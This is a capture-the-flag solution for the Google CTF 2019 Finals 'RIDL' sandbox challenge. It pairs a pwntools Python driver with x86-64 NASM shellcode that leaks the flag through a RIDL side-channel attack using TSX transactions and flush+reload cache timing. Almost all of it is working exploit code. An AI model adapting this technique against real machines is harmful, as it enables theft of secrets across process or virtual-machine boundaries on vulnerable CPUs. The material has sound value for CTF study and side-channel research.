RIDL (Google Capture The Flag 2019 Finals solution)

ridl.py

#!/usr/bin/env python2

# Challenge: https://gctf-2019.appspot.com/#challenges/sandbox-sandbox-ridl

from pwn import *
import os

def split_by(data, cnt):
	return [data[i : i+cnt] for i in xrange(0, len(data), cnt)]

context.log_level = 'error'

LOCAL = False
FLAG_LEN = 24  # known from the challenge
BEGIN_MARKER = '%$['
END_MARKER = ']%$'

print 'Running ' + ('LOCAL' if LOCAL else 'REMOTE')

# iterate over unknown nibbles and leak them one by one
flag = 'CTF{'  # we know the flag format
known = u16(flag[-2:])
for i in xrange(len(flag)*2, FLAG_LEN*2):
	args = {
		'CACHE_INDEX': str(16 + i/2 - 2),  # the flag seems to be aligned to 16 mod 64
		'KNOWN': hex(known),
	}
	if i & 1:
		args['MASK'] = '0xFFFFFF'
		args['ROR'] = '20'
	else:
		args['MASK'] = '0xFFFFF'
		args['ROR'] = '16'
	if os.system('nasm sc.nasm -o sc.bin ' + ' '.join('-dARG_%s=%s' % (key, args[key]) for key in args)):
		raise RuntimeError()
	with open('sc.bin', 'rb') as f:
		sc = f.read()

	if LOCAL:
		s = process(['./sc_tester'])
	else:
		host = 'sandbox-ridl.ctfcompetition.com'
		port = 1337
		s = remote(host, port)

	if LOCAL:
		gdb.attach(s)
	s.send(p32(len(sc)) + sc)

	s.readuntil(BEGIN_MARKER)
	results = s.readuntil(END_MARKER, drop=True)
	results = map(u64, split_by(results, 8))

	leak = results.index(max(results))
	print 'leaked nibble:', hex(leak)
	if i & 1:
		known |= leak << 20
		flag += chr((known >> 16) & 0xFF)
		print flag
		known >>= 8
	else:
		known |= leak << 16

assert flag == 'CTF{shahgheixur5Ievei6z}'

sc.nasm

[BITS 64]

; ARG_* macros should be defined in the command line to parametrize the script 
; (see ridl.py).

%define __NR_READ   0
%define __NR_WRITE  1
%define __NR_EXIT  60

%macro write 2
	mov rdx, %2
	lea rsi, [rel %1]
	mov rdi, 1
	mov rax, __NR_WRITE
	syscall
%endmacro

%macro exit 1
	mov rdi, %1
	mov rax, __NR_EXIT
	syscall
%endmacro

PROBES equ 0x20
; One-page stride to prevent prefetching.
PROBE_STRIDE_SHIFT equ 12
PROBE_STRIDE equ (1 << PROBE_STRIDE_SHIFT)

mov r8, rdi ; probe memory (received from the caller)
push rbp
mov rbp, rsp
sub rsp, PROBES*8
%define RESULTS (rbp-PROBES*8)

; initialize intial state
mov r11, 0  ; successful leaks count
mov rcx, 0
zero_loop:
	mov qword [RESULTS + rcx*8], 0
	; We need to touch all the pages in the probe memory before using it 
	; because it comes from mmap() and may be lazily allocated. We write
	; different values to each page to prevent any kind of duplicated-page
	; merging (e.g. by the hypervisor; this is very unlikely, but let's stay
	; on the safe side).
	mov rax, rcx
	shl rax, PROBE_STRIDE_SHIFT
	mov qword [r8 + rax], rcx
	inc rcx
	cmp rcx, PROBES
	jne zero_loop

main_loop:
	; flush
	mov rcx, 0
	mov rdi, r8
	flush_loop:
		clflush [rdi]
		add rdi, PROBE_STRIDE
		inc rcx
		cmp rcx, PROBES
		jne flush_loop

	; leak using RIDL with prefix matching
	xbegin tx_fail
	next:
		; sample values:
		; mov rax, [16+2]
		; and rax, 0xFFFFFF
		; sub rax, 0x037b46
		; ror rax, 20
		mov rax, [ARG_CACHE_INDEX]  ; Triggers a segfault (we assume that 
		                            ; there's no page allocated at 0).
		and rax, ARG_MASK
		sub rax, ARG_KNOWN
		ror rax, ARG_ROR
		shl rax, PROBE_STRIDE_SHIFT
		mov rax, [r8 + rax]
		xend
		jmp no_fail
	tx_fail:
	no_fail:

	; reload
	mov rbx, 0   ; `rbx`: index
	mov rdi, r8  ; `rdi`: current probe page
	reload_loop:
		mfence
		rdtscp
		shl rdx, 32
		or rdx, rax
		mov r9, rdx
		mfence

		; Execution time varies here depending on the cache state. This is
		; the point we want to measure.
		mov rax, [rdi]

		mfence
		rdtscp
		shl rdx, 32
		or rdx, rax
		mfence

		sub rdx, r9  ; cycle delta
		cmp rdx, 150 ; Picked manually after some measurements, but any
		             ; other value +/- 40 will also work.
		jae skip
			inc qword [RESULTS + rbx*8]
			inc r11
			cmp r11, 20
			jae end
		skip:
		; Uncomment for measuring timings instead of success count for each
		; nibble.
		; mov [RESULTS + rbx*8], rdx

		add rdi, PROBE_STRIDE
		inc rbx
		cmp rbx, PROBES
		jne reload_loop

	jmp main_loop

end:
write BEGIN_MARKER, BEGIN_MARKER_LEN
write RESULTS, 8*PROBES
write END_MARKER, END_MARKER_LEN


BEGIN_MARKER db '%$['
BEGIN_MARKER_LEN equ $-BEGIN_MARKER
END_MARKER db ']%$'
END_MARKER_LEN equ $-END_MARKER